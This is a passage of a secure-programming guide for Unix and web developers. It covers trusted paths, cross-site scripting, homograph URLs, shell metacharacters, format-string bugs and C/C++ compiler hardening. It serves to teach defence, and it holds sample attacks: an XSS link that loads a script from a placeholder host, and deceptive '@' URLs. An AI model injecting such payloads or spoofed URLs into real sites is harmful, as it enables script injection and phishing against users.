The problem is supporting untrustworthy information as the only way to authenticate someone. If you need a trustworthy channel over an untrusted network, in general you need some sort of cryptologic service (at the very least, a cryptologically safe hash). See Section 11.5 for more information on cryptographic algorithms and protocols. If you’re implementing a standard and inherently insecure protocol (e.g., ftp and rlogin), provide safe defaults and document the assumptions clearly.

The Domain Name Server (DNS) is widely used on the Internet to maintain mappings between the names of computers and their IP (numeric) addresses. The technique called “reverse DNS” eliminates some simple spoofing attacks, and is useful for determining a host’s name. However, this technique is not trustworthy for authentication decisions. The problem is that, in the end, a DNS request will be sent eventually to some remote system that may be controlled by an attacker. Therefore, treat DNS results as an input that needs validation and don’t trust it for serious access control.

Arbitrary email (including the “from” value of addresses) can be forged as well. Using digital signatures is a method to thwart many such attacks. A more easily thwarted approach is to require emailing back and forth with special randomly-created values, but for low-value transactions such as signing onto a public mailing list this is usually acceptable.

Note that in any client/server model, including CGI, that the server must assume that the client (or someone interposing between the client and server) can modify any value. For example, so-called “hidden fields” and cookie values can be changed by the client before being received by CGI programs. These cannot be trusted unless special precautions are taken. For example, the hidden fields could be signed in a way the client cannot forge as long as the server checks the signature. The hidden fields could also be encrypted using a key only the trusted server could decrypt (this latter approach is the basic idea behind the Kerberos authentication system). InfoSec labs has further discussion about hidden fields and applying encryption at http://www.infoseclabs.com/mschff/mschff.htm. In general, you’re better off keeping data you care about at the server end in a client/server model. In the same vein, don’t depend on HTTP_REFERER for authentication in a CGI program, because this is sent by the user’s browser (not the web server).

This issue applies to data referencing other data, too. For example, HTML or XML allow you to include by reference other files (e.g., DTDs and style sheets) that may be stored remotely. However, those external references could be modified so that users see a very different document than intended; a style sheet could be modified to “white out” words at critical locations, deface its appearance, or insert new text. External DTDs could be modified to prevent use of the document (by adding declarations that break validation) or insert different text into documents [St. Laurent 2000].

7.13. Set up a Trusted Path

The counterpart to needing trustworthy channels (see Section 7.12) is assuring users that they really are working with the program or system they intended to use.

The traditional example is a “fake login” program. If a program is written to look like the login screen of a system, then it can be left running. When users try to log in, the fake login program can then capture user passwords for later use.

A solution to this problem is a “trusted path.” A trusted path is simply some mechanism that provides confidence that the user is communicating with what the user intended to communicate with, ensuring that attackers can’t intercept or modify whatever information is being communicated.

If you’re asking for a password, try to set up trusted path. Unfortunately, stock Linux distributions and many other Unixes don’t have a trusted path even for their normal login sequence. One approach is to require pressing an unforgeable key before login, e.g., Windows NT/2000 uses “control-alt-delete” before logging in; since normal programs in Windows can’t intercept this key pattern, this approach creates a trusted path. There’s a Linux equivalent, termed the Secure Attention Key (SAK); it’s recommended that this be mapped to “control-alt-pause”. Unfortunately, at the time of this writing SAK is immature and not well-supported by Linux distributions. Another approach for implementing a trusted path locally is to control a separate display that only the login program can perform. For example, if only trusted programs could modify the keyboard lights (the LEDs showing Num Lock, Caps Lock, and Scroll Lock), then a login program could display a running pattern to indicate that it’s the real login program. Unfortunately, since in current Linux normal users can change the LEDs, the LEDs can’t currently be used to confirm a trusted path.

Sadly, the problem is much worse for network applications. Although setting up a trusted path is desirable for network applications, completely doing so is quite difficult. When sending a password over a network, at the very least encrypt the password between trusted endpoints. This will at least prevent eavesdropping of passwords by those not connected to the system, and at least make attacks harder to perform. If you’re concerned about trusted path for the actual communication, make sure that the communication is encrypted and authenticated (or at least authenticated).

It turns out that this isn’t enough to have a trusted path to networked applications, in particular for web-based applications. There are documented methods for fooling users of web browsers into thinking that they’re at one place when they are really at another. For example, Felten [1997] discusses “web spoofing”, where users believe they’re viewing one web page when in fact all the web pages they view go through an attacker’s site (who can then monitor all traffic and modify any data sent in either direction). This is accomplished by rewriting the URL. The rewritten URLs can be made nearly invisible by using other technology (such as Javascript) to hide any possible evidence in the status line, location line, and so on. See their paper for more details. Another technique for hiding such URLs is exploiting rarely-used URL syntax, for example, the URL “http://www.ibm.com/stuff@mysite.com” is actually a request to view “mysite.com” (a potentially malevolent site) using the unusual username “www.ibm.com/stuff”. If the URL is long enough, the real material won’t be displayed and users are unlikely to notice the exploit anyway. Yet another approach is to create sites with names deliberately similar to the “real” site - users may not know the difference. In all of these cases, simply encrypting the line doesn’t help - the attacker can be quite content in encrypting data while completely controlling what’s shown.

Countering these problems is more difficult; at this time I have no good technical solution for fully preventing “fooled” web users. I would encourage web browser developers to counter such “fooling”, making it easier to spot. If it’s critical that your users correctly connect to the correct site, have them use simple procedures to counter the threat. Examples include having them halt and restart their browser, and making sure that the web address is very simple and not normally misspelled (so misspelling it is unlikely). You might also want to gain ownership of some “similar” sounding DNS names, and search for other such DNS names and material to find attackers. Some versions of Microsoft’s Internet Explorer won’t allow the "@" symbol at all in URLs; this is an unfortunate restriction, but probably good for security. Another less draconian solution would have been to put up a warning dialogue, clearly displaying the real site name and user name.

7.14. Use Internal Consistency-Checking Code

The program should check to ensure that its call arguments and basic state assumptions are valid. In C, macros such as assert(3) may be helpful in doing so.

7.15. Self-limit Resources

In network daemons, shed or limit excessive loads. Set limit values (using setrlimit(2)) to limit the resources that will be used. At the least, use setrlimit(2) to disable creation of “core” files. For example, by default Linux will create a core file that saves all program memory if the program fails abnormally, but such a file might include passwords or other sensitive data.

7.16. Prevent Cross-Site (XSS) Malicious Content

Some secure programs accept data from one untrusted user (the attacker) and pass that data on to a different user’s application (the victim). If the secure program doesn’t protect the victim, the victim’s application (e.g., their web browser) may then process that data in a way harmful to the victim. This is a particularly common problem for web applications using HTML or XML, where the problem goes by several names including “cross-site scripting”, “malicious HTML tags”, and “malicious content.” This book will call this problem “cross-site malicious content,” since the problem isn’t limited to scripts or HTML, and its cross-site nature is fundamental. Note that this problem isn’t limited to web applications, but since this is a particular problem for them, the rest of this discussion will emphasize web applications. As will be shown in a moment, sometimes an attacker can cause a victim to send data from the victim to the secure program, so the secure program must protect the victim from himself.

 <A HREF="http://example.com/comment.cgi?mycomment=<SCRIPT
 SRC='http://bad-site/badfile'></SCRIPT>"> Click here</A>

 # Accept only legal characters:
 $summary =~ tr/A-Za-z0-9\ \.\://dc;

 sub remove_special_chars {
  local($s) = @_;
  $s =~ s/[\<\>\"\'\%\;\(\)\&\+]//g;
  return $s;
 }
 # Sample use:
 $data = &remove_special_chars($data);

7.17. Foil Semantic Attacks

A “semantic attack” is an attack in which the attacker uses the computing infrastructure/system in a way that fools the victim into thinking they are doing something, but are doing something different, yet the computing infrastructure/system is working exactly as it was designed to do. Semantic attacks often involve financial scams, where the attacker is trying to fool the victim into giving the attacker large sums of money (e.g., thinking they’re investing in something). For example, the attacker may try to convince the user that they’re looking at a trusted website, even if they aren’t.

Semantic attacks are difficult to counter, because they’re exploiting the correct operation of the computer. The way to deal with semantic attacks is to help give the human additional information, so that when “odd” things happen the human will have more information or a warning will be presented that something may not be what it appears to be.

One example is URIs that, while legitimate, may fool users into thinking they have a different meaning. For example, look at this URI:

  http://www.bloomberg.com@www.badguy.com

Another example is homographs, particularly international homographs. Certain letters look similar to each other, and these can be exploited as well. For example, since 0 (zero) and O (the letter O) look similar to each other, users may not realize that WWW.BLOOMBERG.COM and WWW.BL00MBERG.COM are different web addresses. Other similar-looking letters include 1 (one) and l (lower-case L). If international characters are allowed, the situation is worse. For example, many Cyrillic letters look essentially the same as Roman letters, but the computer will treat them differently. Currently most systems don’t allow international characters in host names, but for various good reasons it’s widely agreed that support for them will be necessary in the future. One proposed solution has been to diplay letters from different code regions using different colors - that way, users get more information visually. If the users look at URI, they will hopefully notice the strange coloring. [Gabrilovich 2002] The page Phishing - Browser-based Defences provides another set of possible defenses against this attack. However, this does show the essence of a semantic attack - it’s difficult to defend against, precisely because the computers are working correctly.

7.18. Be Careful with Data Types

Be careful with the data types used, in particular those used in interfaces. For example, “signed” and “unsigned” values are treated differently in many languages (such as C or C++).

7.19. Avoid Algorithmic Complexity Attacks

If it’s important that your system keep working (and not be vulnerable to denial-of-service attacks), then it needs to be designed so it’s not vulnerable to “Algorithmic Complexity Attacks”. These attacks exploit the difference between “typical case” behavior versus worst-case behavior; they intentionally send data that causes an algorithm to consistently display worst-case behavior. For examples, hash tables usually have O(1) performance for all operations, but in many implementations an attacker can construct input so a large number of “hash collisions” occur. Other common algorithms that can be attacked include sorting routines (e.g., quicksort’s worst case is O(n^2) instead of O(n log n)) and regular expression implementations. Many higher-level capabilities are built on these basic algorithms (e.g., many searches use hash tables). More information about this attack is available in Crosby and Wallach’s paper on the subject [Crosby 2003]. See also the discussion about Regular Expression Denial Of Service (REDoS) attacks in Section 5.2.3.

There are several solutions. One approach is to choose algorithms with the best worst-case behavior, not just the best average-case behavior; many real-time algorithms are specially designed to have the best worst-case behavior, so search for those versions. Crosby and Wallach propose a “universal hashing library” hash function that avoids this problem. Although I’ve seen no proof that they'd work, trivially keyed hashes (where what is to be hashed is first passed through a random local key) should be effective, and cryptographically keyed hashes should be very effective - just make sure the attacker can’t determine the key. Judy trees may be an effective alternative to b-trees.

8.1. Call Only Safe Library Routines

Sometimes there is a conflict between security and the development principles of abstraction (information hiding) and reuse. The problem is that some high-level library routines may or may not be implemented securely, and their specifications won’t tell you. Even if a particular implementation is secure, it may not be possible to ensure that other versions of the routine will be safe, or that the same interface will be safe on other platforms.

In the end, if your application must be secure, you must sometimes re-implement your own versions of library routines. Basically, you have to re-implement routines if you can’t be sure that the library routines will perform the necessary actions you require for security. Yes, in some cases the library’s implementation should be fixed, but it’s your users who will be hurt if you choose a library routine that is a security weakness. If can, try to use the high-level interfaces when you must re-implement something - that way, you can switch to the high-level interface on systems where its use is secure.

If you can, test to see if the routine is secure or not, and use it if it’s secure - ideally you can perform this test as part of compilation or installation (e.g., as part of an “autoconf” script). For some conditions this kind of run-time testing is impractical, but for other conditions, this can eliminate many problems. If you don’t want to bother to re-implement the library, at least test to make sure it’s safe and halt installation if it isn’t. That way, users will not accidentally install an insecure program and will know what the problem is.

8.2. Limit Call-outs to Valid Values

Ensure that any call out to another program only permits valid and expected values for every parameter. This is more difficult than it sounds, because many library calls or commands call lower-level routines in potentially surprising ways. For example, many system calls are implemented indirectly by calling the shell, which means that passing characters which are shell metacharacters can have dangerous effects. So, let’s discuss metacharacters.

8.3. Handle Metacharacters

Many systems, such as SQL interpreters and the command line shell, have metacharacters, that is, characters in their input that are not interpreted as data. Such characters might commands, or delimit data from commands or other data. If there’s a language specification for that system’s interface that you’re using, then it certainly has metacharacters. If your program invokes those other systems and allows attackers to insert such metacharacters, the usual result is that an attacker can completely control your program.

& ; ` ' \ " | * ? ~ < > ^ ( ) [ ] { } $ \n \r

8.4. Call Only Interfaces Intended for Programmers

Call only application programming interfaces (APIs) that are intended for use by programs. Usually a program can invoke any other program, including those that are really designed for human interaction. However, it’s usually unwise to invoke a program intended for human interaction in the same way a human would. The problem is that programs’s human interfaces are intentionally rich in functionality and are often difficult to completely control. As discussed in Section 8.3, interactive programs often have “escape” codes, which might enable an attacker to perform undesirable functions. Also, interactive programs often try to intuit the “most likely” defaults; this may not be the default you were expecting, and an attacker may find a way to exploit this.

Examples of programs you shouldn’t normally call directly include mail, mailx, ed, vi, and emacs. At the very least, don’t call these without checking their input first.

Usually there are parameters to give you safer access to the program’s functionality, or a different API or application that’s intended for use by programs; use those instead. For example, instead of invoking a text editor to edit some text (such as ed, vi, or emacs), use sed where you can.

8.5. Check All System Call Returns

Every system call that can return an error condition must have that error condition checked. One reason is that nearly all system calls require limited system resources, and users can often affect resources in a variety of ways. Setuid/setgid programs can have limits set on them through calls such as setrlimit(3) and nice(2). External users of server programs and CGI scripts may be able to cause resource exhaustion simply by making a large number of simultaneous requests. If the error cannot be handled gracefully, then fail safe as discussed earlier.

8.6. Avoid Using vfork(2)

The portable way to create new processes in Unix-like systems is to use the fork(2) call. BSD introduced a variant called vfork(2) as an optimization technique. In vfork(2), unlike fork(2), the child borrows the parent’s memory and thread of control until a call to execve(2V) or an exit occurs; the parent process is suspended while the child is using its resources. The rationale is that in old BSD systems, fork(2) would actually cause memory to be copied while vfork(2) would not. Linux never had this problem; because Linux used copy-on-write semantics internally, Linux only copies pages when they changed (actually, there are still some tables that have to be copied; in most circumstances their overhead is not significant). Nevertheless, since some programs depend on vfork(2), recently Linux implemented the BSD vfork(2) semantics (previously vfork(2) had been an alias for fork(2)).

There are a number of problems with vfork(2). From a portability point-of-view, the problem with vfork(2) is that it’s actually fairly tricky for a process to not interfere with its parent, especially in high-level languages. The “not interfering” requirement applies to the actual machine code generated, and many compilers generate hidden temporaries and other code structures that cause unintended interference. The result: programs using vfork(2) can easily fail when the code changes or even when compiler versions change.

For secure programs it gets worse on Linux systems, because Linux (at least 2.2 versions through 2.2.17) is vulnerable to a race condition in vfork()’s implementation. If a privileged process uses a vfork(2)/execve(2) pair in Linux to execute user commands, there’s a race condition while the child process is already running as the user’s UID, but hasn`t entered execve(2) yet. The user may be able to send signals, including SIGSTOP, to this process. Due to the semantics of vfork(2), the privileged parent process would then be blocked as well. As a result, an unprivileged process could cause the privileged process to halt, resulting in a denial-of-service of the privileged process’ service. FreeBSD and OpenBSD, at least, have code to specifically deal with this case, so to my knowledge they are not vulnerable to this problem. My thanks to Solar Designer, who noted and documented this problem in Linux on the “security-audit” mailing list on October 7, 2000.

The bottom line with vfork(2) is simple: don’t use vfork(2) in your programs. This shouldn’t be difficult; the primary use of vfork(2) is to support old programs that needed vfork’s semantics.

8.7. Counter Web Bugs When Retrieving Embedded Content

Some data formats can embed references to content that is automatically retrieved when the data is viewed (not waiting for a user to select it). If it’s possible to cause this data to be retrieved through the Internet (e.g., through the World Wide Wide), then there is a potential to use this capability to obtain information about readers without the readers’ knowledge, and in some cases to force the reader to perform activities without the reader’s consent. This privacy concern is sometimes called a “web bug.”

In a web bug, a reference is intentionally inserted into a document and used by the content author to track who, where, and how often a document is read. The author can also essentially watch how a “bugged” document is passed from one person to another or from one organization to another.

The HTML format has had this issue for some time. According to the Privacy Foundation:

Web bugs are used extensively today by Internet advertising companies on Web pages and in HTML-based email messages for tracking. They are typically 1-by-1 pixel in size to make them invisible on the screen to disguise the fact that they are used for tracking. However, they could be any image (using the img tag); other HTML tags that can implement web bugs, e.g., frames, form invocations, and scripts. By itself, invoking the web bug will provide the “bugging” site the reader IP address, the page that the reader visited, and various information about the browser; by also using cookies it’s often possible to determine the specific identify of the reader. A survey about web bugs is available at http://www.securityspace.com/s_survey/data/man.200102/webbug.html.

What is more concerning is that other document formats seem to have such a capability, too. When viewing HTML from a web site with a web browser, there are other ways of getting information on who is browsing the data, but when viewing a document in another format from an email few users expect that the mere act of reading the document can be monitored. However, for many formats, reading a document can be monitored. For example, it has been recently determined that Microsoft Word can support web bugs; see the Privacy Foundation advisory for more information . As noted in their advisory, recent versions of Microsoft Excel and Microsoft Power Point can also be bugged. In some cases, cookies can be used to obtain even more information.

Web bugs are primarily an issue with the design of the file format. If your users value their privacy, you probably will want to limit the automatic downloading of included files. One exception might be when the file itself is being downloaded (say, via a web browser); downloading other files from the same location at the same time is much less likely to concern users.

8.8. Hide Sensitive Information

Sensitive information should be hidden from prying eyes, both while being input and output, and when stored in the system. Sensitive information certainly includes credit card numbers, account balances, and home addresses, and in many applications also includes names, email addressees, and other private information.

Web-based applications should encrypt all communication with a user that includes sensitive information; the usual way is to use the "https:" protocol (HTTP on top of SSL or TLS). According to the HTTP 1.1 specification (IETF RFC 2616 section 15.1.3), authors of services which use the HTTP protocol should not use GET based forms for the submission of sensitive data, because this will cause this data to be encoded in the Request-URI. Many existing servers, proxies, and user agents will log the request URI in some place where it might be visible to third parties. Instead, use POST-based submissions, which are intended for this purpose.

Databases of such sensitive data should also be encrypted on any storage device (such as files on a disk). Such encryption doesn’t protect against an attacker breaking the secure application, of course, since obviously the application has to have a way to access the encrypted data too. However, it does provide some defense against attackers who manage to get backup disks of the data but not of the keys used to decrypt them. It also provides some defense if an attacker doesn’t manage to break into an application, but does manage to partially break into a related system just enough to view the stored data - again, they now have to break the encryption algorithm to get the data. There are many circumstances where data can be transferred unintentionally (e.g., core files), which this also prevents. It’s worth noting, however, that this is not as strong a defense as you’d think, because often the server itself can be subverted or broken.

9.1. Minimize Feedback

Avoid giving much information to untrusted users; simply succeed or fail, and if it fails just say it failed and minimize information on why it failed. In short, minimize feedback to untrusted users if it might compromise security, and instead send the detailed information to audit trail logs. For example:

• If your program requires some sort of user authentication (e.g., you’re writing a network service or login program), give the user as little information as possible before they authenticate. In particular, avoid giving away the version number of your program before authentication. Otherwise, if a particular version of your program is found to have a vulnerability, then users who don’t upgrade from that version advertise to attackers that they are vulnerable.

• If your program accepts a password, don’t echo it back; this creates another way passwords can be seen.

I recommend implementing audit logging early in development. Audit logs are really convenient for debugging (because they are designed to record useful information without interfering with normal operations), and you are more likely to include useful status information in the logs if they are developed in parallel with the rest of the program.

9.2. Don’t Include Comments

When returning information, don’t include any “comments” unless you’re sure you want the receiving user to be able to view them. This is a particular problem for web applications that generate files (such as HTML). Often web application programmers wish to comment their work (which is fine), but instead of simply leaving the comment in their code, the comment is included as part of the generated file (usually HTML or XML) that is returned to the user. The trouble is that these comments sometimes provide insight into how the system works in a way that aids attackers.

9.3. Handle Full/Unresponsive Output

It may be possible for a user to clog or make unresponsive a secure program’s output channel back to that user. For example, a web browser could be intentionally halted or have its TCP/IP channel response slowed. The secure program should handle such cases, in particular it should release locks quickly (preferably before replying) so that this will not create an opportunity for a Denial-of-Service attack. Always place time-outs on outgoing network-oriented write requests.

9.4. Control Data Formatting (Format Strings)

A number of output routines in computer languages have a parameter that controls the generated format, e.g., a format string language. In C, the most obvious example is the printf() family of routines (including printf(), sprintf(), snprintf(), fprintf(), and so on). Other examples in C include syslog() (which writes system log information) and setproctitle() (which sets the string used to display process identifier information). Many functions with names beginning with “err” or “warn”, containing “log” , or ending in “printf” are worth considering. Python includes the "%" operation, which on strings controls formatting in a similar manner. Many programs and libraries define formatting functions, often by calling built-in routines and doing additional processing (e.g., glib’s g_snprintf() routine).

Format languages are essentially little programming languages - so developers who let attackers control the format string are essentially running programs written by attackers! Surprisingly, many people seem to forget the power of these formatting capabilities, and use data from untrusted users as the formatting parameter. The guideline here is clear - never use unfiltered data from an untrusted user as the format parameter. Failing to follow this guideline usually results in a format string vulnerability (also called a formatation vulnerability). Perhaps this is best shown by example:

  /* Wrong way: */
  printf(string_from_untrusted_user);
  /* Right ways: */
  printf("%s", string_from_untrusted_user); /* safe */
  fputs(string_from_untrusted_user); /* better for simple strings */

If an attacker controls the formatting information, an attacker can cause all sorts of mischief by carefully selecting the format. The case of C’s printf() is a good example - there are lots of ways to possibly exploit user-controlled format strings in printf(). These include buffer overruns by creating a long formatting string (this can result in the attacker having complete control over the program), conversion specifications that use unpassed parameters (causing unexpected data to be inserted), and creating formats which produce totally unanticipated result values (say by prepending or appending awkward data, causing problems in later use). A particularly nasty case is printf’s %n conversion specification, which writes the number of characters written so far into the pointer argument; using this, an attacker can overwrite a value that was intended for printing! An attacker can even overwrite almost arbitrary locations, since the attacker can specify a “parameter” that wasn’t actually passed. The %n conversion specification has been standard part of C since its beginning, is required by all C standards, and is used by real programs. In 2000, Greg KH did a quick search of source code and identified the programs BitchX (an irc client), Nedit (a program editor), and SourceNavigator (a program editor / IDE / Debugger) as using %n, and there are doubtless many more. Deprecating %n would probably be a good idea, but even without %n there can be significant problems. Many papers discuss these attacks in more detail, for example, you can see Avoiding security holes when developing an application - Part 4: format strings.

Since in many cases the results are sent back to the user, this attack can also be used to expose internal information about the stack. This information can then be used to circumvent stack protection systems such as StackGuard and ProPolice; StackGuard uses constant “canary” values to detect attacks, but if the stack’s contents can be displayed, the current value of the canary will be exposed, suddenly making the software vulnerable again to stack smashing attacks.

A formatting string should almost always be a constant string, possibly involving a function call to implement a lookup for internationalization (e.g., via gettext’s _()). Note that this lookup must be limited to values that the program controls, i.e., the user must be allowed to only select from the message files controlled by the program. It’s possible to filter user data before using it (e.g., by designing a filter listing legal characters for the format string such as [A-Za-z0-9]), but it’s usually better to simply prevent the problem by using a constant format string or fputs() instead. Note that although I’ve listed this as an “output” problem, this can cause problems internally to a program before output (since the output routines may be saving to a file, or even just generating internal state such as via snprintf()).

The problem of input formatting causing security problems is not an idle possibility; see CERT Advisory CA-2000-13 for an example of an exploit using this weakness. For more information on how these problems can be exploited, see Pascal Bouchareine’s email article titled “[Paper] Format bugs”, published in the July 18, 2000 edition of Bugtraq. As of December 2000, developmental versions of the gcc compiler support warning messages for insecure format string usages, in an attempt to help developers avoid these problems.

Of course, this all begs the question as to whether or not the internationalization lookup is, in fact, secure. If you’re creating your own internationalization lookup routines, make sure that an untrusted user can only specify a legal locale and not something else like an arbitrary path.

Clearly, you want to limit the strings created through internationalization to ones you can trust. Otherwise, an attacker could use this ability to exploit the weaknesses in format strings, particularly in C/C++ programs. This has been an item of discussion in Bugtraq (e.g., see John Levon’s Bugtraq post on July 26, 2000). For more information, see the discussion on permitting users to only select legal language values in Section 5.10.3.

Although it’s really a programming bug, it’s worth mentioning that different countries notate numbers in different ways, in particular, both the period (.) and comma (,) are used to separate an integer from its fractional part. If you save or load data, you need to make sure that the active locale does not interfere with data handling. Otherwise, a French user may not be able to exchange data with an English user, because the data stored and retrieved will use different separators. I’m unaware of this being used as a security problem, but it’s conceivable.

9.5. Control Character Encoding in Output

In general, a secure program must ensure that it synchronizes its clients to any assumptions made by the secure program. One issue often impacting web applications is that they forget to specify the character encoding of their output. This isn’t a problem if all data is from trusted sources, but if some of the data is from untrusted sources, the untrusted source may sneak in data that uses a different encoding than the one expected by the secure program. This opens the door for a cross-site malicious content attack; see Section 5.12 for more information.

CERT’s tech tip on malicious code mitigation explains the problem of unspecified character encoding fairly well, so I quote it here:

Many web pages leave the character encoding ("charset" parameter in HTTP) undefined. In earlier versions of HTML and HTTP, the character encoding was supposed to default to ISO-8859-1 if it wasn’t defined. In fact, many browsers had a different default, so it was not possible to rely on the default being ISO-8859-1. HTML version 4 legitimizes this - if the character encoding isn’t specified, any character encoding can be used.

If the web server doesn’t specify which character encoding is in use, it can’t tell which characters are special. Web pages with unspecified character encoding work most of the time because most character sets assign the same characters to byte values below 128. But which of the values above 128 are special? Some 16-bit character-encoding schemes have additional multi-byte representations for special characters such as "<". Some browsers recognize this alternative encoding and act on it. This is "correct" behavior, but it makes attacks using malicious scripts much harder to prevent. The server simply doesn’t know which byte sequences represent the special characters.

For example, UTF-7 provides alternative encoding for "<" and ">", and several popular browsers recognize these as the start and end of a tag. This is not a bug in those browsers. If the character encoding really is UTF-7, then this is correct behavior. The problem is that it is possible to get into a situation in which the browser and the server disagree on the encoding.

Thankfully, though explaining the issue is tricky, its resolution in HTML is easy. In the HTML header, simply specify the charset, like this example from CERT:

<HTML>
<HEAD>
<META http-equiv="Content-Type"
content="text/html; charset=ISO-8859-1">
<TITLE>HTML SAMPLE</TITLE>
</HEAD>
<BODY>
<P>This is a sample HTML page
</BODY>
</HTML>

From a technical standpoint, an even better approach is to set the character encoding as part of the HTTP protocol output, though some libraries make this more difficult. This is technically better because it doesn’t force the client to examine the header to determine a character encoding that would enable it to read the META information in the header. Of course, in practice a browser that couldn’t read the META information given above and use it correctly would not succeed in the marketplace, but that’s a different issue. In any case, this just means that the server would need to send as part of the HTTP protocol, a “charset” with the desired value. Unfortunately, it’s hard to heartily recommend this (technically better) approach, because some older HTTP/1.0 clients did not deal properly with an explicit charset parameter. Although the HTTP/1.1 specification requires clients to obey the parameter, it’s suspicious enough that you probably ought to use it as an adjunct to forcing the use of the correct character encoding, and not your sole mechanism.

9.6. Prevent Include/Configuration File Access

When developing web based applications, do not allow users to access (read) files such as the program include and configuration files. This data may provide enough information (e.g., passwords) to break into the system. Note that this guideline sometimes also applies to other kinds of applications. There are several actions you can take to do this, including:

• Place the include/configuration files outside of the web documentation root (so that the web server will never serve the files). Really, this is the best approach unless there’s some reason the files have to be inside the document root.

• Configure the web server so it will not serve include files as text. For example, if you’re using Apache, you can add a handler or an action for .inc files like so:

  <Files *.inc> Order allow,deny Deny from all </Files>

• Place the include files in a protected directory (using .htaccess), and designate them as files that won’t be served.

• Use a filter to deny access to the files. For Apache, this can be done using:

  <Files ~ "\.phpincludes"> Order allow,deny Deny from all </Files>

  If you need full regular expressions to match filenames, in Apache you could use the FilesMatch directive.

• If your include file is a valid script file, which your server will parse, make sure that it doesn’t act on user-supplied parameters and that it’s designed to be secure.

These approaches won’t protect you from users who have access to the directories your files are in if they are world-readable. You could change the permissions of the files so that only the uid/gid of the webserver can read these files. However, this approach won’t work if the user can get the web server to run his own scripts (the user can just write scripts to access your files). Fundamentally, if your site is being hosted on a server shared with untrusted people, it’s harder to secure the system. One approach is to run multiple web serving programs, each with different permissions; this provides more security but is painful in practice. Another approach is to set these files to be read only by your uid/gid, and have the server run scripts at “your” permission. This latter approach has its own problems: it means that certain parts of the server must have root privileges, and that the script may have more permissions than necessary.

10.1. C/C++

It is possible to develop secure code using C or C++, but both languages include fundamental design decisions that make it more difficult to write secure code. C and C++ easily permit buffer overflows, force programmers to do their own memory management, and are fairly lax in their typing systems. For systems programs (such as an operating system kernel), C and C++ are fine choices. For applications, C and C++ are often over-used. Strongly consider using an even higher-level language, at least for the majority of the application. But clearly, there are many existing programs in C and C++ which won’t get completely rewritten, and many developers may choose to develop in C and C++.

One of the biggest security problems with C and C++ programs is buffer overflow; see Chapter 6 for more information. C has the additional weakness of not supporting exceptions, which makes it easy to write programs that ignore critical error situations.

Another problem with C and C++ is that developers have to do their own memory management (e.g., using malloc(), alloc(), free(), new, and delete), and failing to do it correctly may result in a security flaw. The more serious problem is that programs may erroneously free memory that should not be freed (e.g., because it’s already been freed). This can result in an immediate crash or be exploitable, allowing an attacker to cause arbitrary code to be executed; see [Anonymous Phrack 2001]. Some systems (such as many GNU/Linux systems) don’t protect against double-freeing at all by default, and it is not clear that those systems which attempt to protect themselves are truly unsubvertable. Although I haven’t seen anything written on the subject, I suspect that using the incorrect call in C++ (e.g., mixing new and malloc()) could have similar effects. For example, on March 11, 2002, it was announced that the zlib library had this problem, affecting the many programs that use it. Thus, when testing programs on GNU/Linux, you should set the environment variable MALLOC_CHECK_ to 1 or 2, and you might consider executing your program with that environment variable set with 0, 1, 2. The reason for this variable is explained in GNU/Linux malloc(3) man page:

Recent versions of Linux libc (later than 5.4.23) and GNU libc (2.x) include a malloc implementation which is tunable via environment variables. When MALLOC_CHECK_ is set, a special (less efficient) implementation is used which is designed to be tolerant against simple errors, such as double calls of free() with the same argument, or overruns of a single byte (off-by-one bugs). Not all such errors can be protected against, however, and memory leaks can result. If MALLOC_CHECK_ is set to 0, any detected heap corruption is silently ignored; if set to 1, a diagnostic is printed on stderr; if set to 2, abort() is called immediately. This can be useful because otherwise a crash may happen much later, and the true cause for the problem is then very hard to track down.

Be as strict as you reasonably can when you declare types. Where you can, use “enum” to define enumerated values (and not just a “char” or “int” with special values). This is particularly useful for values in switch statements, where the compiler can be used to determine if all legal values have been covered. Where it’s appropriate, use “unsigned” types if the value can’t be negative.

One complication in C and C++ is that the character type “char” can be signed or unsigned, depending on the compiler and machine; the C standard permits either. When a signed char with its high bit set is saved in an integer, the result will be a negative number; in some cases this can be exploitable. In general, use “unsigned char” instead of char or signed char for buffers, pointers, and casts when dealing with character data that may have values greater than 127 (0x7f). And when compiling, try to invoke a compiler option that forces unspecified "char"s to be unsigned. Portable programs shouldn’t depend on whether a char is signed or not, and by forcing it to be unsigned, the resulting executable can avoid a few nasty security vulnerabilities. In gcc, you can make this happen using the "-funsigned-char" option.

C and C++ are by definition rather lax in their type-checking support, but you can at least increase their level of checking so that some mistakes can be detected automatically. Turn on as many compiler warnings as you can and change the code to cleanly compile with them, and strictly use ANSI prototypes in separate header (.h) files to ensure that all function calls use the correct types. For C or C++ compilations using gcc, use at least the following as compilation flags (which turn on a host of warning messages) and try to eliminate all warnings (note that -O2 is used since some warnings can only be detected by the data flow analysis performed at higher optimization levels):

gcc -Wall -Wpointer-arith -Wstrict-prototypes -O2

gcc -Werror -Wall \
    -Wmissing-prototypes -Wmissing-declarations \
    -Wstrict-prototypes -Wpointer-arith \
    -Wwrite-strings -Wcast-qual -Wcast-align \
    -Wbad-function-cast \
    -Wformat-security  -Wformat-nonliteral \
    -Wmissing-format-attribute \
    -Winline

Many C/C++ compilers can detect inaccurate format strings. For example, gcc can warn about inaccurate format strings for functions you create if you use its __attribute__() facility (a C extension) to mark such functions, and you can use that facility without making your code non-portable. Here is an example of what you’d put in your header (.h) file:

 /* in header.h */
 #ifndef __GNUC__
 #  define __attribute__(x) /*nothing*/
 #endif

 extern void logprintf(const char *format, ...)
    __attribute__((format(printf,1,2)));
 extern void logprintva(const char *format, va_list args)
    __attribute__((format(printf,1,0)));

Avoid common errors made by C/C++ developers. Using warning systems and style checkers can help avoid common errors. For example, be careful about not using “=” when you mean “==”. The gcc compiler’s -Wall option, recommended above, turns on a -Wparenthesis option. This -Wparenthesis option warns you when incorrectly use "=", and requires adding extra parentheses if you really mean to use "=").

Some organizations have defined a subset of a well-known language to try to make common mistakes in it either impossible or more obvious. One better-known subset of C is the MISRA C guidelines [MISRA 1998]. If you intend to use a subset, it’s wise to use automated tools to check if you’ve actually used only a subset. There’s a proprietary tool called Safer C that checks code to see if it meets most of the MISRA C requirements (it’s not quite 100%, because some MISRA C requirements are difficult to check automatically).

Other approaches include building many more safety checks into the language, or changing the language itself into a variant dialect that is hopefully easier to write secure programs in. have not had any experience using them: The Safe C Compiler (SCC) is a C-to-C compiler that adds extended pointer and array access semantics to automatically detect memory access errors. Its front page and talk provide interesting information, but its distribution appears limited as of 2004. Cyclone is a variant of C with far more "compile-time, link-time, and run-time checks designed to ensure safety" (where they define safe as free of crashes, buffer overflows, format string attacks, and some other problems). At this point you’re really starting to use a different (though similar) language, and you should carefully decide on a language before its use.

10.2. Perl

